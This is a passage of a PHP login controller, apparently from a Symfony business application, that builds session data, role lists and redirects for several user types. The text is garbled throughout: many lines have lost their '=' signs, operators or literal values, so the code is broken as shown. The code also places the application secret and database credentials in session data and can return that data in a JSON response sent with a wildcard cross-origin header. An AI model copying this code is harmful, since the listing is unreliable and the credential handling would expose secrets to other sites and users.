  2602.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2603.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2604.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2605.                         $company_locale $companyList[$userCompanyId]['locale'];
  2606.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2607.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2608.                     }
  2609.                     if ($allModuleAccessFlag == 1)
  2610.                         $prohibit_list_array = [];
  2611.                     else if ($curr_position_id != 0)
  2612.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2613.                     $loginID $this->get('user_module')->addUserLoginLog(
  2614.                         $userId,
  2615.                         $request->server->get("REMOTE_ADDR"),
  2616.                         $curr_position_id
  2617.                     );
  2618.                     $appIdList json_decode($user->getUserAppIdList());
  2619.                     $branchIdList json_decode($user->getUserBranchIdList());
  2620.                     if ($branchIdList == null$branchIdList = [];
  2621.                     $branchId $user->getUserBranchId();
  2622.                     if ($appIdList == null$appIdList = [];
  2623. //
  2624. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2625. //                        $appIdList[] = $user->getUserAppId();
  2626. //
  2627. //                    foreach ($appIdList as $currAppId) {
  2628. //                        if ($currAppId == $user->getUserAppId()) {
  2629. //
  2630. //                            foreach ($company_id_list as $index_company => $company_id) {
  2631. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2632. //                                $app_company_index = $currAppId . '_' . $company_id;
  2633. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2634. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2635. //                            }
  2636. //                        } else {
  2637. //
  2638. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2639. //                                $this->getDoctrine()->getManager('company_group'),
  2640. //                                $gocEnabled,
  2641. //                                $currAppId
  2642. //                            );
  2643. //                            if (!empty($dataToConnect)) {
  2644. //                                $connector = $this->container->get('application_connector');
  2645. //                                $connector->resetConnection(
  2646. //                                    'default',
  2647. //                                    $dataToConnect['dbName'],
  2648. //                                    $dataToConnect['dbUser'],
  2649. //                                    $dataToConnect['dbPass'],
  2650. //                                    $dataToConnect['dbHost'],
  2651. //                                    $reset = true
  2652. //                                );
  2653. //                                $em = $this->getDoctrine()->getManager();
  2654. //
  2655. //                                $companyList = Company::getCompanyListWithImage($em);
  2656. //                                foreach ($companyList as $c => $dta) {
  2657. //                                    //                                $company_id_list[]=$c;
  2658. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2659. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2660. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2661. //                                    $app_company_index = $currAppId . '_' . $c;
  2662. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2663. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2664. //                                }
  2665. //                            }
  2666. //                        }
  2667. //                    }
  2668.                 }
  2669.                 else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2670.                     // General User
  2671.                     $employeeId 0;
  2672.                     $currentMonthHolidayList = [];
  2673.                     $currentHolidayCalendarId 0;
  2674.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2675.                         ->findOneBy(
  2676.                             array(
  2677.                                 'userId' => $user->getUserId()
  2678.                             )
  2679.                         );
  2680.                     if ($employeeObj) {
  2681.                         $employeeId $employeeObj->getEmployeeId();
  2682.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2683.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2684.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2685.                     }
  2686.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2687.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2688.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2689.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2690.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2691.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2692.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2693.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2694.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2695.                     $session->set(UserConstants::USER_NAME$user->getName());
  2696.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2697.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2698.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2699.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2700.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2701.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2702.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2703.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2704.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2705.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2706.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2707.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2708.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2709.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2710.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2711.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2712.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2713.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2714.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2715.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2716.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2717.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2718.                         return $this->redirectToRoute("user_login_position");
  2719.                     } else {
  2720.                         $PL json_decode($user->getPositionIds(), true);
  2721.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2722.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2723.                         $loginID $this->get('user_module')->addUserLoginLog(
  2724.                             $session->get(UserConstants::USER_ID),
  2725.                             $request->server->get("REMOTE_ADDR"),
  2726.                             $PL[0]
  2727.                         );
  2728.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2729.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2730.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2731.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2732.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2733.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2734.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2735.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2736.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2737.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2738.                         $appIdList json_decode($user->getUserAppIdList());
  2739.                         if ($appIdList == null$appIdList = [];
  2740.                         $companyIdListByAppId = [];
  2741.                         $companyNameListByAppId = [];
  2742.                         $companyImageListByAppId = [];
  2743.                         if (!in_array($user->getUserAppId(), $appIdList))
  2744.                             $appIdList[] = $user->getUserAppId();
  2745.                         foreach ($appIdList as $currAppId) {
  2746.                             if ($currAppId == $user->getUserAppId()) {
  2747.                                 foreach ($company_id_list as $index_company => $company_id) {
  2748.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2749.                                     $app_company_index $currAppId '_' $company_id;
  2750.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2751.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2752.                                 }
  2753.                             } else {
  2754.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2755.                                     $this->getDoctrine()->getManager('company_group'),
  2756.                                     $gocEnabled,
  2757.                                     $currAppId
  2758.                                 );
  2759.                                 if (!empty($dataToConnect)) {
  2760.                                     $connector $this->container->get('application_connector');
  2761.                                     $connector->resetConnection(
  2762.                                         'default',
  2763.                                         $dataToConnect['dbName'],
  2764.                                         $dataToConnect['dbUser'],
  2765.                                         $dataToConnect['dbPass'],
  2766.                                         $dataToConnect['dbHost'],
  2767.                                         $reset true
  2768.                                     );
  2769.                                     $em $this->getDoctrine()->getManager();
  2770.                                     $companyList Company::getCompanyListWithImage($em);
  2771.                                     foreach ($companyList as $c => $dta) {
  2772.                                         //                                $company_id_list[]=$c;
  2773.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2774.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2775.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2776.                                         $app_company_index $currAppId '_' $c;
  2777.                                         $company_locale $companyList[$c]['locale'];
  2778.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2779.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2780.                                     }
  2781.                                 }
  2782.                             }
  2783.                         }
  2784.                         $session->set('appIdList'$appIdList);
  2785.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2786.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2787.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2788.                         $branchIdList json_decode($user->getUserBranchIdList());
  2789.                         $branchId $user->getUserBranchId();
  2790.                         $session->set('branchIdList'$branchIdList);
  2791.                         $session->set('branchId'$branchId);
  2792.                         if ($user->getAllModuleAccessFlag() == 1)
  2793.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2794.                         else
  2795.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2796.                         $session_data = array(
  2797.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2798.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2799.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2800.                             'oAuthToken' => $session->get('oAuthToken'),
  2801.                             'locale' => $session->get('locale'),
  2802.                             'firebaseToken' => $session->get('firebaseToken'),
  2803.                             'token' => $session->get('token'),
  2804.                             'firstLogin' => $firstLogin,
  2805.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2806.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2807.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2808.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2809.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2810.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2811.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2812.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2813.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2814.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2815.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2816.                             'oAuthImage' => $session->get('oAuthImage'),
  2817.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2818.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2819.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2820.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2821.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2822.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2823.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2824.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2825.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2826.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2827.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2828.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2829.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2830.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2831.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2832.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2833.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2834.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2835.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2836.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2837.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2838.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2839.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2840.                             //new
  2841.                             'appIdList' => $session->get('appIdList'),
  2842.                             'branchIdList' => $session->get('branchIdList'null),
  2843.                             'branchId' => $session->get('branchId'null),
  2844.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2845.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2846.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2847.                     );
  2848.                     $session_data $this->filterClientSessionData($session_data);
  2849.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2850.                         $session_data $tokenData['sessionData'];
  2851.                         $token $tokenData['token'];
  2852.                         $session->set('token'$token);
  2853.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2854.                             $session->set('remoteVerified'1);
  2855.                             $response = new JsonResponse(array(
  2856.                                 'uid' => $session->get(UserConstants::USER_ID),
  2857.                                 'session' => $session,
  2858.                                 'token' => $token,
  2859.                                 'success' => true,
  2860.                                 'session_data' => $session_data,
  2861.                             ));
  2862.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2863.                             return $response;
  2864.                         }
  2865.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2866.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2867.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2868.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2869.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2870.                                     return $this->redirect($red);
  2871.                                 }
  2872.                             } else {
  2873.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2874.                             }
  2875.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2876.                             return $this->redirectToRoute("dashboard");
  2877.                         else
  2878.                             return $this->redirectToRoute($user->getDefaultRoute());
  2879. //                        if ($request->server->has("HTTP_REFERER")) {
  2880. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2881. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2882. //                            }
  2883. //                        }
  2884. //
  2885. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2886. //                        if ($request->request->has('referer_path')) {
  2887. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2888. //                                return $this->redirect($request->request->get('referer_path'));
  2889. //                            }
  2890. //                        }
  2891. //                        //                    if($request->request->has('gocId')
  2892. //
  2893. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2894. //                            return $this->redirectToRoute("dashboard");
  2895. //                        else
  2896. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2897.                     }
  2898.                 }
  2899.                 else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2900.                     $applicantId $user->getApplicantId();
  2901.                     $userId $user->getApplicantId();
  2902.                     $globalId $user->getApplicantId();
  2903.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2904.                     $isConsultant $user->getIsConsultant() == 0;
  2905.                     $isRetailer $user->getIsRetailer() == 0;
  2906.                     $retailerLevel $user->getRetailerLevel() == 0;
  2907.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2908.                     $isModerator $user->getIsModerator() == 0;
  2909.                     $isAdmin $user->getIsAdmin() == 0;
  2910.                     $userEmail $user->getOauthEmail();
  2911.                     $userImage $user->getImage();
  2912.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2913.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2914.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2915.                     $buddybeeBalance $user->getAccountBalance();
  2916.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2917.                     $userDefaultRoute 'applicant_dashboard';
  2918. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2919.                     $userAppIds = [];
  2920.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2921.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2922.                     if ($userAppIds == null$userAppIds = [];
  2923.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2924.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2925.                     foreach ($userTypesByAppIds as $aid => $accData)
  2926.                         if (in_array($aid$userSuspendedAppIds))
  2927.                             unset($userTypesByAppIds[$aid]);
  2928.                         else
  2929.                             $userAppIds[]=$aid;
  2930. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2931.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2932.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2933.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2934.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2935.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2936.                     $loginID MiscActions::addEntityUserLoginLog(
  2937.                         $em_goc,
  2938.                         $userId,
  2939.                         $applicantId,
  2940.                         1,
  2941.                         $request->server->get("REMOTE_ADDR"),
  2942.                         0,
  2943.                         $request->request->get('deviceId'''),
  2944.                         $request->request->get('oAuthToken'''),
  2945.                         $request->request->get('oAuthType'''),
  2946.                         $request->request->get('locale'''),
  2947.                         $request->request->get('firebaseToken''')
  2948.                     );
  2949.                 }
  2950.                 else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2951.                     // General User
  2952.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2953.                         ->findOneBy(
  2954.                             array(
  2955.                                 'userId' => $user->getUserId()
  2956.                             )
  2957.                         );
  2958.                     if ($employeeObj) {
  2959.                         $employeeId $employeeObj->getEmployeeId();
  2960.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2961.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2962.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2963.                     }
  2964.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2965.                         ->findOneBy(
  2966.                             array(
  2967.                                 'userId' => $user->getUserId(),
  2968.                                 'workingStatus' => 1
  2969.                             )
  2970.                         );
  2971.                     if ($currentTask) {
  2972.                         $currentTaskId $currentTask->getId();
  2973.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2974.                     }
  2975.                     $userId $user->getUserId();
  2976.                     $userCompanyId 1;
  2977.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2978.                     $userEmail $user->getEmail();
  2979.                     $userImage $user->getImage();
  2980.                     $userFullName $user->getName();
  2981.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2982.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2983.                     $position_list_array json_decode($user->getPositionIds(), true);
  2984.                     if ($position_list_array == null$position_list_array = [];
  2985.                     $filtered_pos_array = [];
  2986.                     foreach ($position_list_array as $defPos)
  2987.                         if ($defPos != '' && $defPos != 0)
  2988.                             $filtered_pos_array[] = $defPos;
  2989.                     $position_list_array $filtered_pos_array;
  2990.                     if (!empty($position_list_array))
  2991.                         foreach ($position_list_array as $defPos)
  2992.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  2993.                                 $curr_position_id $defPos;
  2994.                             }
  2995.                     $userDefaultRoute $user->getDefaultRoute();
  2996.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  2997.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2998.                         $userDefaultRoute 'user_default_page';
  2999.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3000.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3001.                     if (isset($companyList[$userCompanyId])) {
  3002.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3003.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3004.                         $company_locale $companyList[$userCompanyId]['locale'];
  3005.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3006.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3007.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3008.                     }
  3009.                     if ($allModuleAccessFlag == 1)
  3010.                         $prohibit_list_array = [];
  3011.                     else
  3012.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3013.                     $loginID $this->get('user_module')->addUserLoginLog(
  3014.                         $userId,
  3015.                         $request->server->get("REMOTE_ADDR"),
  3016.                         $curr_position_id
  3017.                     );
  3018.                     $appIdList json_decode($user->getUserAppIdList());
  3019.                     $branchIdList json_decode($user->getUserBranchIdList());
  3020.                     if ($branchIdList == null$branchIdList = [];
  3021.                     $branchId $user->getUserBranchId();
  3022.                     if ($appIdList == null$appIdList = [];
  3023.                     if (!in_array($user->getUserAppId(), $appIdList))
  3024.                         $appIdList[] = $user->getUserAppId();
  3025.                     foreach ($appIdList as $currAppId) {
  3026.                         if ($currAppId == $user->getUserAppId()) {
  3027.                             foreach ($company_id_list as $index_company => $company_id) {
  3028.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3029.                                 $app_company_index $currAppId '_' $company_id;
  3030.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3031.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3032.                             }
  3033.                         } else {
  3034.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3035.                                 $this->getDoctrine()->getManager('company_group'),
  3036.                                 $gocEnabled,
  3037.                                 $currAppId
  3038.                             );
  3039.                             if (!empty($dataToConnect)) {
  3040.                                 $connector $this->container->get('application_connector');
  3041.                                 $connector->resetConnection(
  3042.                                     'default',
  3043.                                     $dataToConnect['dbName'],
  3044.                                     $dataToConnect['dbUser'],
  3045.                                     $dataToConnect['dbPass'],
  3046.                                     $dataToConnect['dbHost'],
  3047.                                     $reset true
  3048.                                 );
  3049.                                 $em $this->getDoctrine()->getManager();
  3050.                                 $companyList Company::getCompanyListWithImage($em);
  3051.                                 foreach ($companyList as $c => $dta) {
  3052.                                     //                                $company_id_list[]=$c;
  3053.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3054.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3055.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3056.                                     $app_company_index $currAppId '_' $c;
  3057.                                     $company_locale $companyList[$c]['locale'];
  3058.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3059.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3060.                                 }
  3061.                             }
  3062.                         }
  3063.                     }
  3064.                     if (count($position_list_array) > 1) {
  3065.                         $userForcedRoute 'user_login_position';
  3066. //                        return $this->redirectToRoute("user_login_position");
  3067.                     } else {
  3068.                     }
  3069.                 } else {
  3070.                     $isEmailVerified 1;
  3071.                 }
  3072.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3073.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3074.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3075.                 ) {
  3076.                     $session_data = array(
  3077.                         UserConstants::USER_ID => $userId,
  3078.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3079.                         UserConstants::APPLICANT_ID => $applicantId,
  3080.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3081.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3082.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3083.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3084.                         UserConstants::SUPPLIER_ID => $supplierId,
  3085.                         UserConstants::CLIENT_ID => $clientId,
  3086.                         UserConstants::USER_TYPE => $userType,
  3087.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3088.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3089.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3090.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3091.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3092.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3093.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3094.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3095.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3096.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3097.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3098.                         UserConstants::USER_NAME => $userFullName,
  3099.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3100.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3101.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3102.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3103.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3104.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3105.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3106.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3107.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3108.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3109.                         UserConstants::USER_GOC_ID => $gocId,
  3110.                         UserConstants::USER_DB_NAME => $gocDbName,
  3111.                         UserConstants::USER_DB_USER => $gocDbUser,
  3112.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3113.                         UserConstants::USER_DB_HOST => $gocDbHost,
